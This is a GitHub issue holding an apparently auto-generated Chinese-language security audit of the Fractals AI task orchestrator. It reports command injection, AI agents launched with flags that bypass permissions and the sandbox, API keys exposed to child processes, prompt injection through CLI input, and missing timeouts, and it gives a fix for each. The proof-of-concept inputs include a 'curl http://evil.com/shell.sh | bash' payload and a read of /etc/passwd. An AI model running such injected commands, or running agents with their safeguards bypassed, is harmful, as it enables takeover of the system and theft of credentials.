Skip to content

Security: 命令注入 + 危险权限绕过 + API Key 泄露(5项发现,2严重) #7

Description

@tlyyxjz

安全审计报告 — Fractals (tinyagi)

项目: tinyagi/fractals — 递归式 AI 任务编排器
日期: 2026-05-31
扫描范围: 20 TypeScript 源文件,47 个 Git 追踪文件
分析工具: Semgrep (271 rules) + 45-rule 代码审计 + OSV.dev


摘要

发现 2 个严重 + 2 个高危 + 1 个中危5 项问题。安全评分: 42/100

漏洞详情


BH-20260531-001 | 命令注入 — 用户输入直接传入 shell 命令

CWE: CWE-78 | CVSS 3.1: 8.4 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

严重等级: 严重

文件: src/executor.ts:8,25,55-61

描述: resolveBin()runCommand() 函数接受外部参数直接传给 execSync()spawn()。虽然当前调用处使用硬编码值,但函数本身是公共接口,缺乏输入校验。任何调用方传入用户可控的 namecommand 参数即可实现任意命令执行。

PoC:

// executor.ts:8 — name 参数直接拼入 shell
return execSync(`which ${name}`, { encoding: "utf8" }).trim();
// 如果 name = "claude; cat /etc/passwd"

复现步骤: 恶意 PR 调用 resolveBin("claude; curl http://evil.com/shell.sh | bash") → 任意代码执行

修复建议:

function resolveBin(name: string): string {
  if (!/^[a-zA-Z0-9_-]+$/.test(name)) {
    throw new Error(`Invalid binary name: ${name}`);
  }
  return execFileSync("which", [name], { encoding: "utf8" }).trim();
}

BH-20260531-002 | 危险权限绕过 — AI Agent 以最高权限运行

CWE: CWE-269 | CVSS 3.1: 9.1 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L)

严重等级: 严重

文件: src/executor.ts:55,61

描述: Claude Code 以 --dangerously-skip-permissions 启动,Codex 以 --dangerously-bypass-approvals-and-sandbox 启动。这意味着 LLM 生成的任意代码(包括恶意 prompt 注入)将绕过所有安全沙箱直接执行。结合 Fractals 的递归任务分解机制,被投毒的 prompt 会污染整个任务树。

受影响代码:

// line 55 — Claude runs with ALL permissions
return runCommand(CLAUDE_BIN, ["--dangerously-skip-permissions", "-p", message], cwd);

// line 61 — Codex bypasses sandbox entirely
return runCommand(CODEX_BIN, ["exec", "--dangerously-bypass-approvals-and-sandbox", "--json", message], cwd);

影响: 恶意 prompt 输入 → LLM 被诱导生成恶意代码 → 以无限制权限执行 → 完整系统控制权

修复建议:

  1. 移除 --dangerously-skip-permissions,改用 --permission-mode auto
  2. message 添加 prompt injection 检测(已有 agentic-security 的 59 条规则可用)
  3. 将 Claude/Codex 执行限制在 Docker 容器内

BH-20260531-003 | API Key 环境变量泄露

CWE: CWE-522 | CVSS 3.1: 5.9 (AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)

严重等级: 高危

文件: src/llm.ts:6, src/executor.ts:19

描述:

  1. new OpenAI() 初始化时未显式传入 API key,依赖 OPENAI_API_KEY 环境变量。如果执行环境被污染,key 可能泄露。
  2. executor.ts:19 — 执行子进程时复制了完整的 process.env,包含所有密钥。

受影响代码:

// llm.ts:6
const client = new OpenAI(); // relies on OPENAI_API_KEY env var

// executor.ts:19 — copies ALL env vars including API keys to child processes
const env = { ...process.env };

修复: 在传递给子进程前,从 env 中删除 API key 相关变量:

const env = { ...process.env };
delete env.OPENAI_API_KEY;
delete env.ANTHROPIC_API_KEY;
delete env.CLAUDECODE;

BH-20260531-004 | CLI 参数直接传递到 LLM Prompt(Prompt Injection)

CWE: CWE-350 | CVSS 3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)

严重等级: 高危

文件: src/index.ts:5

描述: 用户输入通过 process.argv 直接进入 LLM prompt,无任何过滤。恶意输入可引导 LLM 执行任意操作。

const task = process.argv.slice(2).join(" ") || "Build a DocuSign clone";

修复: 对 CLI 输入做白名单校验,限制长度和字符集。


BH-20260531-005 | 缺少子进程超时与资源限制

CWE: CWE-400 | CVSS 3.1: 5.3

严重等级: 中危

文件: src/executor.ts:17-52

描述: runCommand() 创建的 spawn 子进程没有 timeout 参数,也没有 CPU/内存限制。恶意 prompt 可创建无限循环消耗资源的子进程。

修复: 添加 spawn 的 timeout 参数和资源限制。


修复优先级

优先级 漏洞 行动
P0 立即 #2 权限绕过 移除 dangerous-skip-permissions,加 prompt 过滤
P0 立即 #1 命令注入 参数白名单校验,execSync → execFileSync
P1 本周 #3 API Key 泄露 子进程 env 过滤敏感变量
P1 本周 #4 Prompt 注入 CLI 输入校验
P2 本月 #5 资源限制 子进程 timeout + 资源 cgroup

报告由 bounty-hunter skill 自动生成 | 工具: Semgrep + 45-rule scanner | 审计: 三玖

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions